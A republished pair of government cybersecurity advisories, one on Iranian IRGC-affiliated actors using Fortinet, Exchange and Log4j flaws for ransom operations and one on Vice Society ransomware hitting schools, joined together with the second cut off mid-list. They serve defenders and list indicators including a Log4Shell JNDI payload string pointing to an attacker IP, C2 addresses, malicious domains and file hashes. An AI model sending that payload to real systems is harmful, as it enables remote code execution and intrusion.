This joint Cybersecurity Advisory (CSA) is the result of an analytic effort among the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA), U.S. Cyber Command (USCC) – Cyber National Mission Force (CNMF), the Department of the Treasury (Treasury), the Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), and the United Kingdom’s National Cyber Security Centre (NCSC) to highlight continued malicious cyber activity by advanced persistent threat (APT) actors that the authoring agencies assess are affiliated with the Iranian Government’s Islamic Revolutionary Guard Corps (IRGC). Note: The IRGC is an Iranian Government agency tasked with defending the Iranian Regime from perceived internal and external threats. Hereafter, this advisory refers to all the coauthors of this advisory as « the authoring agencies. »

This advisory updates joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, which provides information on these Iranian government-sponsored APT actors exploiting known Fortinet and Microsoft Exchange vulnerabilities to gain initial access to a broad range of targeted entities in furtherance of malicious activities, including ransom operations. The authoring agencies now judge these actors are an APT group affiliated with the IRGC.

Since the initial reporting of this activity in the FBI Liaison Alert System (FLASH) report APT Actors Exploiting Fortinet Vulnerabilities to Gain Access for Malicious Activity from May 2021, the authoring agencies have continued to observe these IRGC-affiliated actors exploiting known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities for initial access. The IRGC-affiliated actors have used this access for follow-on activity, including disk encryption and data extortion, to support ransom operations.

The IRGC-affiliated actors are actively targeting a broad range of entities, including entities across multiple U.S. critical infrastructure sectors as well as Australian, Canadian, and United Kingdom organizations. These actors often operate under the auspices of Najee Technology Hooshmand Fater LLC, based in Karaj, Iran, and Afkar System Yazd Company, based in Yazd, Iran. The authoring agencies assess the actors are exploiting known vulnerabilities on unprotected networks rather than targeting specific targeted entities or sectors.

This advisory provides observed tactics, techniques, and indicators of compromise (IOCs) that the authoring agencies assess are likely associated with this IRGC-affiliated APT. The authoring agencies urge organizations, especially critical infrastructure organizations, to apply the recommendations listed in the Mitigations section of this advisory to mitigate risk of compromise from these IRGC-affiliated cyber actors.

For a downloadable copy of IOCs, see AA22-257A.stix.

For more information on Iranian state-sponsored malicious cyber activity, see CISA’s Iran Cyber Threat Overview and Advisories webpage and FBI’s Iran Threat webpage.

Download the PDF version of this report: pdf, 836 kb

Technical Details

Threat Actor Activity

As reported in joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, the authoring agencies have observed Iranian government-sponsored APT actors scanning for and/or exploiting the following known Fortinet FortiOS and Microsoft Exchange server vulnerabilities since early 2021 to gain initial access to a broad range of targeted entities: CVE-2018-13379, CVE-2020-12812, CVE-2019-5591, and CVE-2021-34473 (a ProxyShell vulnerability). The authoring agencies have also observed these APT actors leveraging CVE-2021-34473 against U.S. networks in combination with ProxyShell vulnerabilities CVE-2021-34523 and CVE-2021-31207. The NCSC judges that Yazd, Iran-based company Afkar System Yazd Company is actively targeting UK organizations. Additionally, ACSC judges that these APT actors have used CVE-2021-34473 in Australia to gain access to systems. The APT actors can leverage this access for further malicious activities, including deployment of tools to support ransom and extortion operations, and data exfiltration.

Since the activity was reported in 2021, these IRGC-affiliated actors have continued to exploit known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities CVE-2021-44228 (“Log4Shell”), CVE-2021-45046, and CVE-2021-45105 for initial access.

The IRGC-affiliated actors have used their access for ransom operations, including disk encryption and extortion efforts. After gaining access to a network, the IRGC-affiliated actors likely determine a course of action based on their perceived value of the data. Depending on the perceived value, the actors may encrypt data for ransom and/or exfiltrate data. The actors may sell the data or use the exfiltrated data in extortion operations or “double extortion” ransom operations where a threat actor uses a combination of encryption and data theft to pressure targeted entities to pay ransom demands.

IRGC-affiliated actor activity observed by the authoring agencies includes:

  • In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) on a Microsoft Exchange server to gain access to the network of a U.S. police department. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom.
  • In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207), on a Microsoft Exchange server to gain access to the network of a U.S. regional transportation company. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom. This activity disrupted the transportation company’s operations for an extended period.
  • In February 2022, the actors exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046, and/or CVE-2021-45105) in a VMware Horizon application to gain access to the network of a U.S. municipal government, move laterally within the network, establish persistent access, initiate crypto-mining operations, and conduct additional malicious activity.
  • In February 2022, the actors may have exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046, and/or CVE-2021) to gain access to the network of a U.S. aerospace company. The actors leveraged a server that the authoring agencies assess is associated with the IRGC-affiliated actors to exfiltrate data from the company’s network.

MITRE ATT&CK® Tactics and Techniques

Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 11. See Appendix B for a table of the MITRE ATT&CK tactics and techniques observed.

The authoring agencies assess the following tactics and techniques are associated with this activity.

Resource Development [TA0042]

The IRGC-affiliated actors have used the following malicious and legitimate tools [T1588.001, T1588.002] for a variety of tactics across the enterprise spectrum:

  • Fast Reverse Proxy (FRP) for command and control (C2)
  • Plink for C2
  • Remote Desktop Protocol (RDP) for lateral movement
  • BitLocker for data encryption
  • SoftPerfect Network Scanner for system network configuration discovery

Note: For additional tools used by these IRGC-affiliated cyber actors, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Initial Access [TA0001]

As stated in the Technical Details section previously reported in joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, the IRGC-affiliated actors gained initial access by exploiting known vulnerabilities [T1190].

The following IOCs, observed as of March 2022, are indicative of ProxyShell vulnerability exploitation on targeted entity networks:

  • Web shells with naming conventions aspx_[11 randomly generated alphabetic characters].aspx, login.aspx, or default.aspx in any of the following directories:
    • C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyecpauth
    • C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyowaauth
    • C:inetpubwwwrootaspnet_client

The following IOCs, observed as of December 2021, are indicative of Log4j vulnerability exploitation on targeted entity networks:

  • ${jndi:ldap//148.251.71.182:1389/RCE} (user agent string)
  • RCE.class

Execution [TA0002]

The IRGC-affiliated actors may have made modifications to the Task Scheduler [T1053.005]. These modifications may display as unrecognized scheduled tasks or actions. Specifically, the below established tasks may be associated with this activity:

  • Wininet
  • Wininet’
  • WinLogon
  • CacheTask

Note: The potential exists that tasks associated with CacheTask or Wininet may be legitimate. For additional tasks used by these IRGC-affiliated cyber actors, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Persistence [TA0003]

The IRGC-affiliated actors established new user accounts on domain controllers, servers, workstations, and active directories [T1136.001, T1136.002]. The actors enabled a built-in Windows account (DefaultAccount) and escalated privileges to gain administrator-level access to a network. Some of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization. In addition to unrecognized user accounts or accounts established to masquerade as existing accounts, the following account usernames may be associated with this activity:

  • Domain Admin
  • it_admin
  • DefaultAccount
  • Default01

Note: For additional account usernames associated with this activity, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Exfiltration [TA0010]

The authoring agencies have observed the IRGC-affiliated actors dumping and subsequently exfiltrating the Local Security Authority Subsystem Service (LSASS) process memory on targeted entity networks in furtherance of credential harvesting. The following IOCs are associated with data exfiltration from targeted entity networks:

  • C:WindowsTempsassl[.]pmd
  • C:WindowsTempssasl[.]zip
  • C:UsersDefaultAccountAppDataLocalTemplsass[.]dmp
  • C:UsersDefaultAccountAppDataLocalTemplsass[.]zip

Impact [TA0040]

The IRGC-affiliated actors forced BitLocker activation on host networks to encrypt data [T1486] and held the decryption keys for ransom. The corresponding ransom notes were sent to the targeted entity, left on the targeted entity network as a .txt file or printed on the targeted entity’s networked printer(s). The notes included the following contact information:

  • @BuySafety (Telegram)
  • @WeRBits (Telegram)
  • +93794415076 (WhatsApp)
  • werbits@onionmail[.]org
  • buysafety@onionmail[.]org
  • yacashcash@rambler[.]ru

Note: For additional contact information included in ransom notes, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

DETECTION

The authoring agencies recommend that organizations using Microsoft Exchange servers, Fortinet devices, and/or VMware Horizon applications investigate potential suspicious activity in their networks.

  • Search for IOCs. Collect known-bad IOCs and search for them in network and host artifacts.
    • Note: Refer to Appendix A for IOCs.
  • Review Log4j vulnerabilities, including CVE-2021-44228, CVE-2021-45046, and CVE-2021- 45105.
  • Review Microsoft Exchange ProxyShell vulnerabilities, including CVE-2021-34473, CVE-2021- 34523, and CVE-2021-31207.
  • As a precaution, review additional Microsoft Exchange vulnerabilities, including CVE-2021- 31196, CVE-2021-31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470 because the authoring agencies have seen the actors broadly target Microsoft Exchange servers.
  • Investigate exposed Microsoft Exchange servers, both patched and unpatched, for compromise.
  • Review Fortinet FortiOS vulnerabilities, including CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591.
  • Review VMware vulnerabilities, including any relevant vulnerabilities listed on the VMware security advisory page.
  • Investigate changes to RDP, firewall, and Windows Remote Management (WinRM) configurations that may allow malicious cyber actors to maintain persistent access.
  • Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts.
  • Review Task Scheduler for unrecognized scheduled tasks. Additionally, manually review operating-system and scheduled tasks—including each step these tasks perform—for unrecognized “actions.”
  • Review antivirus logs for indications they were unexpectedly turned off.
  • Look for WinRAR and FileZilla in unexpected locations.
  • Review servers and workstations for malicious executable files masquerading as legitimate Windows processes. Malicious files may not be found in the expected directory and may have cmd.exe or powershell.exe as their parent process.

Note: For additional approaches on uncovering malicious cyber activity, see joint advisory Technical Approaches to Uncovering and Remediating Malicious Activity, authored by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.

Mitigations

The authoring agencies urge network defenders to prepare for and mitigate potential cyber threats immediately by implementing the mitigations below.

Implement and Enforce Backup and Restoration Policies and Procedures

  • Maintain offline (i.e., physically disconnected) backups of data, and regularly test backup and restoration. These practices safeguard an organization’s continuity of operations or at least minimize potential downtime from a ransomware or other destructive data incident and protect against data losses.
    • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure.
  • Activate BitLocker on all networks and securely back up BitLocker keys with Microsoft and with an independent offline backup.
  • Create, maintain, and exercise a basic cyber incident response plan that includes response procedures for a ransom incident.
  • Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, secure location (e.g., hard drive, storage device, the cloud).

Patch and Update Systems

  • U.S. federal, state, local, tribal, and territorial (SLTT) government and critical infrastructure organizations: Implement free CISA Cyber Hygiene Services Vulnerability Scanning to enable continuous scans of public, static IPs for accessible services and vulnerabilities.
  • Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. Regularly check software updates and end-of-life notifications. Consider leveraging a centralized patch management system to automate and expedite the process.
  • Immediately patch software affected by vulnerabilities identified in this advisory: CVE-2021- 34473, CVE-2018-13379, CVE-2020-12812, CVE-2019-5591, CVE-2021-34523, CVE-2021- 31207, CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-31196, CVE-2021- 31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470.

Evaluate and Update Blocklists and Allowlists

  • Regularly evaluate and update blocklists and allowlists.
  • If FortiOS is not used by your organization, add the key artifact files used by FortiOS to your organization’s execution blocklist. Prevent any attempts to install or run this program and its associated files.

Implement Network Segmentation

  • Implement network segmentation to restrict a malicious threat actor’s lateral movement.

Secure User Accounts

  • Audit user accounts with administrative privileges and configure access controls under the principles of least privilege and separation of duties.
  • Require administrator credentials to install software.

Implement Multifactor Authentication

  • Use multifactor authentication where possible, particularly for webmail, virtual private networks (VPNs), accounts that access critical systems, and privileged accounts that manage backups.

Use Strong Passwords

Secure and Monitor RDP and other Potentially Risky Services

  • If you use RDP, restrict it to limit access to resources over internal networks. After assessing risks, if your organization deems RDP operationally necessary, restrict the originating sources, and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices.
  • Disable unused remote access/RDP ports.
  • Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts (to block brute force campaigns), and log RDP login attempts.

Use Antivirus Programs

  • Install and regularly update antivirus and anti-malware software on all hosts.

Secure Remote Access

  • Only use secure networks.
  • Consider installing and using a VPN for remote access.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Appendix B).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESPONDING TO RANSOMWARE OR EXTORTION INCIDENTS

If a ransomware or extortion incident occurs at your organization:

Note: The authoring agencies strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered and may pose sanctions risks.

RESOURCES

  • The U.S. Department of State’s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the RFJ website for more information and how to report information securely.
  • For more information on malicious cyber activity affiliated with the Iranian government- sponsored malicious cyber activity, see us-cert.cisa.gov/Iran and FBI’s Iran Threat page.
  • For information and resources on protecting against and responding to ransomware or extortion activity, refer to StopRansomware.gov, the U.S. centralized, whole-of-government webpage providing ransomware resources and alerts.
  • The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States: Technical Approaches to Uncovering and Remediating Malicious Activity provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.
  • CISA offers a range of no-cost cyber hygiene services to help critical infrastructure organizations assess, identify, and reduce their exposure to threats. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate malicious activity.
  • ACSC can provide tailored cyber security advice and assistance, reporting, and incident response support at cyber.gov.au and via 1300 292 371 (1300 CYBER1).

PURPOSE

This advisory was developed by U.S., Australian, Canadian, and UK cybersecurity authorities in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. FBI, CISA, NSA, USCC-CNMF, DoT, ACSC, CCCS, and NCSC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.

APPENDIX A: INDICATORS OF COMPROMISE

IP addresses and executables files are listed below. For a downloadable copy of IOCs, see AA22- 257A.stix.

IP Addresses

  • 54.39.78[.]148
  • 95.217.193[.]86
  • 104.168.117[.]149
  • 107.173.231[.]114
  • 144.76.186[.]88
  • 148.251.71[.]182
  • 172.245.26[.]118
  • 185.141.212[.]131
  • 198.12.65[.]175
  • 198.144.189[.]74

Note: Some of these observed IP addresses may be outdated. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Malicious Domains

  • newdesk[.]top
  • symantecserver[.]co
  • msupdate[.]us
  • msupdate[.]top
  • gupdate[.]us
  • aptmirror[.]eu
  • buylap[.]top
  • winstore[.]us
  • tcp443[.]org
  • mssync[.]one
  • upmirror[.]top
  • tcp443 (subdomain)
  • kcp53 (subdomain)

Files

Malicious files observed in this activity are identified in Table 1. Many of the below malicious files are masquerading as legitimate Windows files; therefore, file names alone should not be treated as an indicator of compromise. Note: For additional malicious files observed, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Filename:

Wininet[.]xml

Path:

C:WindowsTempwininet[.]xml

MD5:

d2f4647a3749d30a35d5a8faff41765e

SHA-1:

0f676bc786db3c44cac4d2d22070fb514b4cb64c

SHA-256:

559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e

Filename:

Wininet’[.]xml

MD5:

2e1e17a443dc713f13f45a9646fc2179

SHA-1:

e75bfc0dd779d9d8ac02798b090989c2f95850dc

Filename:

WinLogon[.]xml

Path:

C:WindowsTempWinLogon[.]xml

MD5:

49c71178fa212012d710f11a0e6d1a30

SHA-1:

226f0fbb80f7a061947c982ccf33ad65ac03280f

SHA-256:

bcc2e4d96e7418a85509382df6609ec9a53b3805effb7ddaed093bdaf949b6ea

Filename:

Wininet[.]bat

Path:

C:Windowswininet[.]bat

MD5:

5f098b55f94f5a448ca28904a57c0e58

SHA-1:

27102b416ef5df186bd8b35190c2a4cc4e2fbf37

SHA-256:

668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0

Filename:

Winlogon[.]bat

Path:

C:Windowswinlogon[.]bat

MD5:

7ac4633bf064ebba9666581b776c548f

SHA-1:

524443dd226173d8ba458133b0a4084a172393ef

SHA-256:

d14d546070afda086a1c7166eaafd9347a15a32e6be6d5d029064bfa9ecdede7

Filename:

CacheTask[.]bat

Path:

C:\ProgramDataMicrosoftCacheTask[.]bat

MD5:

ee8fd6c565254fe55a104e67cf33eaea

SHA-1:

24ed561a1ddbecd170acf1797723e5d3c51c2f5d

SHA-256:

c1723fcad56a7f18562d14ff7a1f030191ad61cd4c44ea2b04ad57a7eb5e2837

Filename:

Task_update[.]exe

Path:

C:WindowsTemptask_update[.]exe

MD5:

cacb64bdf648444e66c82f5ce61caf4b

SHA-1:

3a6431169073d61748829c31a9da29123dd61da8

SHA-256:

12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075ff6d1a

Filename:

Task[.]exe

MD5:

5b646edb1deb6396082b214a1d93691b

SHA-1:

763ca462b2e9821697e63aa48a1734b10d3765ee

SHA-256:

17e95ecc7fedcf03c4a5e97317cfac166b337288562db0095ccd24243a93592f

Filename:

dllhost[.]exe

Path:

C:Windowsdllhost[.]exe

MD5:

0f8b592126cc2be0e9967d21c40806bc

9a3703f9c532ae2ec3025840fa449d4e

SHA-1:

3da45558d8098eb41ed7db5115af5a2c6 1c543af

8ece87086e8b5aba0d1cc4ec3804bf74e 0b45bee

SHA-256:

724d54971c0bba8ff32aeb6044d3b3fd57 1b13a4c19cada015ea4bcab30cae26

1604e69d17c0f26182a3e3ff65694a4945

0aafd56a7e8b21697a932409dfd81e

Filename:

svchost[.]exe

Path:

C:Windowssvchost[.]exe

MD5:

68f58e442fba50b02130eedfc5fe4e5b

298d41f01009c6d6240bc2dc7b769205

SHA-1:

76dd6560782b13af3f44286483e157848

efc0a4e

6ca62f4244994b5fbb8a46bdfe62aa1c95 8cebbd

SHA-256:

b04b97e7431925097b3ca4841b894139 7b0b88796da512986327ff66426544ca

8aa3530540ba023fb29550643beb00c9c 29f81780056e02c5a0d02a1797b9cd9

Filename:

User[.]exe

Path:

C:WindowsTempuser[.]exe

MD5:

bd131ebfc44025a708575587afeebbf3

f0be699c8aafc41b25a8fc0974cc4582

SHA-1:

8b23b14d8ec4712734a5f6261aed40942 c9e0f68

6bae2d45bbd8c4b0a59ba08892692fe86 e596154

SHA-256:

b8a472f219658a28556bab4d6d109fdf3 433b5233a765084c70214c973becbbd

7b5fbbd90eab5bee6f3c25aa3c2762104 e219f96501ad6a4463e25e6001eb00b

Filename:

Setup[.]bat

Path:

C:UsersDefaultAccountDesktopNew foldersetup[.]bat

MD5:

7fdc2d007ef0c1946f1f637b87f81590

Filename:

Ssasl[.]pmd

Path:

C:WindowsTempssasl[.]pmd

Filename:

Ssasl[.]zip

Path:

C:WindowsTempssasl[.]zip

Filename:

netscanold[.]exe

Path:

C:UsersDefaultAccountDesktopnetscanoldnetscanold[.]exe

Filename:

scan[.]csv

Path:

C:UsersDefaultAccountDesktopscan[.]csv

Filename:

lsass[.]dmp

Path:

C:UsersDefaultAccountAppDataLocalTemplsass[.]dmp

Filename:

lsass[.]zip

Path:

C:UsersDefaultAccountAppDataLocalTemplsass[.]zip

 

APPENDIX B: MITRE ATT&CK TACTICS AND TECHNIQUES

Table 2 identifies MITRE ATT&CK Tactics and techniques observed in this activity.

 

Table 2: Observed Tactics and Techniques

Tactic

Technique

Resource Development ]TA0042]

Obtain Capabilities: Malware [T1588.001]

Obtain Capabilities: Tool [T1588.002]

Initial Access [TA0001]

Exploit Public-Facing Application [T1190]

Execution [TA0002]

Scheduled Task/Job: Scheduled Task [T1053.005]

Persistence [TA0003]

Create Account: Local Account [T1136.001]

Create Account: Domain Account [T1136.002]

Privilege Escalation [TA0004]

 

Credential Access [TA0006]

 

Collection [TA0009]

Archive Collected Data: Archive via Utility [T1560.001]

Exfiltration [TA0010]

 

Impact [TA0040]

Data Encrypted for Impact [T1486]

Revisions

  • September 14, 2022: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

Source de l’article sur us-cert.gov

Original release date: September 6, 2022

Summary

Actions to take today to mitigate cyber threats from ransomware:

• Prioritize and remediate known exploited vulnerabilities.
• Train users to recognize and report phishing attempts.
• Enable and enforce multifactor authentication.

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint CSA to disseminate IOCs and TTPs associated with Vice Society actors identified through FBI investigations as recently as September 2022. The FBI, CISA, and the MS-ISAC have recently observed Vice Society actors disproportionately targeting the education sector with ransomware attacks.

Over the past several years, the education sector, especially kindergarten through twelfth grade (K-12) institutions, have been a frequent target of ransomware attacks. Impacts from these attacks have ranged from restricted access to networks and data, delayed exams, canceled school days, and unauthorized access to and theft of personal information regarding students and staff. The FBI, CISA, and the MS-ISAC anticipate attacks may increase as the 2022/2023 school year begins and criminal ransomware groups perceive opportunities for successful attacks. School districts with limited cybersecurity capabilities and constrained resources are often the most vulnerable; however, the opportunistic targeting often seen with cyber criminals can still put school districts with robust cybersecurity programs at risk. K-12 institutions may be seen as particularly lucrative targets due to the amount of sensitive student data accessible through school systems or their managed service providers.

The FBI, CISA, and the MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents.

Download the PDF version of this report: pdf, 521 KB

Technical Details

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 11. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques.

Vice Society is an intrusion, exfiltration, and extortion hacking group that first appeared in summer 2021. Vice Society actors do not use a ransomware variant of unique origin. Instead, the actors have deployed versions of Hello Kitty/Five Hands and Zeppelin ransomware, but may deploy other variants in the future.

Vice Society actors likely obtain initial network access through compromised credentials by exploiting internet-facing applications [T1190]. Prior to deploying ransomware, the actors spend time exploring the network, identifying opportunities to increase accesses, and exfiltrating data [TA0010] for double extortion–a tactic whereby actors threaten to publicly release sensitive data unless a victim pays a ransom. Vice Society actors have been observed using a variety of tools, including SystemBC, PowerShell Empire, and Cobalt Strike to move laterally. They have also used “living off the land” techniques targeting the legitimate Windows Management Instrumentation (WMI) service [T1047] and tainting shared content [T1080].

Vice Society actors have been observed exploiting the PrintNightmare vulnerability (CVE-2021-1675 and CVE-2021-34527 ) to escalate privileges [T1068]. To maintain persistence, the criminal actors have been observed leveraging scheduled tasks [T1053], creating undocumented autostart Registry keys [T1547.001], and pointing legitimate services to their custom malicious dynamic link libraries (DLLs) through a tactic known as DLL side-loading [T1574.002]. Vice Society actors attempt to evade detection through masquerading their malware and tools as legitimate files [T1036], using process injection [T1055], and likely use evasion techniques to defeat automated dynamic analysis [T1497]. Vice Society actors have been observed escalating privileges, then gaining access to domain administrator accounts, and running scripts to change the passwords of victims’ network accounts to prevent the victim from remediating. 

Indicators of Compromise (IOCs)

Email Addresses

v-society.official@onionmail[.]org

ViceSociety@onionmail[.]org

OnionMail email accounts in the format of [First Name][Last Name]@onionmail[.]org

 

TOR Address

http://vsociethok6sbprvevl4dlwbqrzyhxcxaqpvcqt5belwvsuxaxsutyad[.]onion

 

IP Addresses for C2

Confidence Level

5.255.99[.]59

High Confidence

5.161.136[.]176

Medium Confidence

198.252.98[.]184

Medium Confidence

194.34.246[.]90

Low Confidence

See Table 1 for file hashes obtained from FBI incident response investigations in September 2022.

Table 1: File Hashes as of September 2022

MD5

SHA1

fb91e471cfa246beb9618e1689f1ae1d

a0ee0761602470e24bcea5f403e8d1e8bfa29832

 

3122ea585623531df2e860e7d0df0f25cce39b21

 

41dc0ba220f30c70aea019de214eccd650bc6f37

 

c9c2b6a5b930392b98f132f5395d54947391cb79

MITRE ATT&CK TECHNIQUES

Vice Society actors have used ATT&CK techniques, similar to Zeppelin techniques, listed in Table 2.

Table 2: Vice Society Actors ATT&CK Techniques for Enterprise

Initial Access

Technique Title

ID

Use

Exploit Public-Facing Application

T1190

Vice Society actors exploit vulnerabilities in an internet-facing systems to gain access to victims’ networks.

Valid Accounts

T1078

Vice Society actors obtain initial network access through compromised valid accounts.

Execution

Technique Title

ID

Use

Windows Management Instrumentation (WMI)

T1047

Vice Society actors leverage WMI as a means of “living off the land” to execute malicious commands. WMI is a native Windows administration feature.

Scheduled Task/Job

T1053

Vice Society have used malicious files that create component task schedule objects, which are often mean to register a specific task to autostart on system boot. This facilitates recurring execution of their code.

Persistence

Technique Title

ID

Use

Modify System Process

T1543.003

Vice Society actors encrypt Windows Operating functions to preserve compromised system functions.

Registry Run Keys/Startup Folder

T1547.001

Vice Society actors have employed malicious files that create an undocumented autostart Registry key to maintain persistence after boot/reboot.

DLL Side-Loading

T1574.002

Vice Society actors may directly side-load their payloads by planting their own DLL then invoking a legitimate application that executes the payload within that DLL. This serves as both a persistence mechanism and a means to masquerade actions under legitimate programs.

Privilege Escalation

Technique Title

ID

Use

Exploitation for Privilege Escalation

T1068

Vice Society actors have been observed exploiting PrintNightmare vulnerability (CVE-2021-1675 and CVE-2021-34527) to escalate privileges.

Defense Evasion

Technique Title

ID

Use

Masquerading

T1036

Vice Society actors may attempt to manipulate features of the files they drop in a victim’s environment to mask the files or make the files appear legitimate.

Process Injection

T1055

Vice Society artifacts have been analyzed to reveal the ability to inject code into legitimate processes for evading process-based defenses. This tactic has other potential impacts, including the ability to escalate privileges or gain additional accesses.

Sandbox Evasion

T1497

Vice Society actors may have included sleep techniques in their files to hinder common reverse engineering or dynamic analysis.

Lateral Movement

Technique Title

ID

Use

Taint Shared Content

T1080

Vice Society actors may deliver payloads to remote systems by adding content to shared storage locations such as network drives.

Exfiltration

Technique Title

ID

Use

Exfiltration

TA0010

Vice Society actors are known for double extortion, which is a second attempt to force a victim to pay by threatening to expose sensitive information if the victim does not pay a ransom.

Impact

Technique Title

ID

Use

Data Encrypted for Impact

T1486

Vice Society actors have encrypted data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources.

Account Access Removal

T1531

Vice Society actors run a script to change passwords of victims’ email accounts.

 

 

Mitigations

The FBI and CISA recommend organizations, particularly the education sector, establish and maintain strong liaison relationships with the FBI Field Office in their region and their regional CISA Cybersecurity Advisor. The location and contact information for FBI Field Offices and CISA Regional Offices can be located at www.fbi.gov/contact-us/field-offices and www.cisa.gov/cisa-regions, respectively. Through these partnerships, the FBI and CISA can assist with identifying vulnerabilities to academia and mitigating potential threat activity. The FBI and CISA further recommend that academic entities review and, if needed, update incident response and communication plans that list actions an organization will take if impacted by a cyber incident.

The FBI, CISA, and the MS-ISAC recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Vice Society actors:

Preparing for Cyber Incidents

  • Maintain offline backups of data, and regularly maintain backup and restoration.  By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data.
  • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure. Ensure your backup data is not already infected.
  • Review the security posture of third-party vendors and those interconnected with your organization. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity.
  • Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established security policy.
  • Document and monitor external remote connections. Organizations should document approved solutions for remote management and maintenance, and immediately investigate if an unapproved solution is installed on a workstation.
  • Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).

Identity and Access Management

  • Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute of Standards and Technology (NIST) standards for developing and managing password policies.
    • Use longer passwords consisting of at least 8 characters and no more than 64 characters in length;
